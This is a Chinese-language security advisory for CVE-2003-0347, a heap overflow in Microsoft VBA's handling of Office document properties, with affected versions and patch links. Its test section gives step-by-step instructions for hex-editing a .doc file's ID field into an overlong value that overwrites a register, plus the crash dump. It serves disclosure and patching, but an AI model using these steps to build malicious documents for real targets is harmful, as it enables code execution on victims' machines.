安全研究

安全漏洞
Microsoft VBA文档属性远程缓冲区溢出漏洞

发布日期:2003-09-02
更新日期:2003-09-05

受影响系统:
Microsoft Visual Basic for Applications SDK 6.3
Microsoft Visual Basic for Applications SDK 6.2
Microsoft Visual Basic for Applications SDK 6.0
Microsoft Visual Basic for Applications SDK 5.0
描述:
CVE(CAN) ID: CVE-2003-0347

Microsoft VBA是一款独立的开发客户端桌面应用程序和集成到已经存在的数据和系统中的技术。Microsoft VBA基于Microsoft Visual Basic开发系统,Microsoft Office提供包括VBA和使用VBA执行部分功能,VBA可以用于构建可定制的应用程序。

当文档由主机应用程序打开时Microsoft VBA在检查传递给它的文档属性时缺少正确检查,远程攻击者可以利用这个漏洞构建恶意Word或Excel文档,诱使用户打开,可触发缓冲区溢出。

Visual Basic Design Time Environment库(VBE.DLL和VBE6.DLL)用于Microsoft Office系列和其他Microsoft应用程序,这个库存在一个基于堆的溢出漏洞,如果恶意Office文件被打开,恶意文档属性传递给库解析时,可导致分配的堆缓冲区被破坏,精心构建此文件数据可能以用户权限在系统上执行任意指令。

<*来源:Marc Maiffret (marc@eeye.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106262077829157&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Marc Maiffret (marc@eeye.com)提供了如下测试方法:

可以构建如下文档:

1,打开Word。
2,选择插入对象
3,选择"MSPropertyTreeCtl Class"(也可以选择其他对象如ChoiceBox Class等)。
4,保存.doc文件
5,使用编辑器按照如下方法修改.doc文件:

5a,在doc文件中使用如下字符串:

ID="{1FE45957-2625-4B1E-ADEF-EC04B7F34CCF}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="1E1C0125015D1B611B611B611B61"
DPB="4B4954458046804680"
GC="787A679868986867"

5b,从如下数据更改“ID”:

+0000 49 44 3D 22 7B 31 46 45 34 35 39 35 37 2D 32 36 ID="{1FE45957-26
+0010 32 35 2D 34 42 31 45 2D 41 44 45 46 2D 45 43 30 25-4B1E-ADEF-EC0
+0020 34 42 37 46 33 34 43 43 46 7D 22 0D 0A 44 6F 63 4B7F34CCF}"..Doc
+0030 75 6D 65 6E 74 3D 54 68 69 73 44 6F 63 75 6D 65 ument=ThisDocume

为如下:

+0000 49 44 3D 22 7B 61 61 61 61 61 61 61 61 61 61 61 ID="{aaaaaaaaaaa
+0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
+0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
+0030 61 61 61 61 41 42 43 44 00 00 00 00 aaaaABCD....

6,打开修改的doc文件。

7,你会看到如下的访问冲突:

EAX = 023219A4 EBX = 0232194B ECX = 02311AC4
EDX = 44434241 ESI = 0231186C EDI = 02321940
EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8

建议:
厂商补丁:

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Microsoft Office 2000:
http://microsoft.com/downloads/details.aspx?FamilyId=E2CCE199-9C4A-4EEC-A3EC-9F738017F275&displaylang=en

Administrative update only:
http://www.microsoft.com/office/ork/xp/journ/o2k0901a.htm


Microsoft Office XP (including Publisher 2002):
http://microsoft.com/downloads/details.aspx?FamilyId=6F1FC4B0-29E9-44E0-A33D-AD6B4B6A8FF4&displaylang=en

Administrative update only:
http://www.microsoft.com/office/ork/xp/journ/oxp1001a.htm


Microsoft Project 2000:
http://microsoft.com/downloads/details.aspx?FamilyId=E53A52E7-431D-4580-9733-B92A2B7BFD0D&displaylang=en

Microsoft Project 2002:
http://microsoft.com/downloads/details.aspx?FamilyId=525BDE0A-0028-488A-8209-6E07D4603CCB&displaylang=en

Microsoft Visio 2002:
http://microsoft.com/downloads/details.aspx?FamilyId=55944490-13C2-4043-BA2A-17AF02E9C73E&displaylang=en

Microsoft VBA Patch:
http://microsoft.com/downloads/details.aspx?FamilyId=DA1A7ABA-CD3D-458B-9729-AB9094C9BD3F&displaylang=en

运行如下应用程序的系统必须安装Microsoft VBA补丁:

Microsoft VBA 5.0
Microsoft VBA 6.0
Microsoft VBA 6.2
Microsoft VBA 6.3.
Microsoft Access 97
Microsoft Excel 97
Microsoft PowerPoint 97
Microsoft Word 97
Microsoft Word 98(J)
Microsoft Visio 2000
Microsoft Works Suite 2001
Microsoft Business Solutions Great Plains 7.5
Microsoft Business Solutions Dynamics 6.0
Microsoft Business Solutions Dynamics 7.0
Microsoft Business Solutions eEnterprise 6.0
Microsoft Business Solutions eEnterprise 7.0
Microsoft Business Solutions Solomon 4.5
Microsoft Business Solutions Solomon 5.0
Microsoft Business Solutions Solomon 5.5

Microsoft建议用户访问Office更新站点http://www.office.microsoft.com/ProductUpdates/default.aspx来检测和安装安全补丁。

浏览次数:3643
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障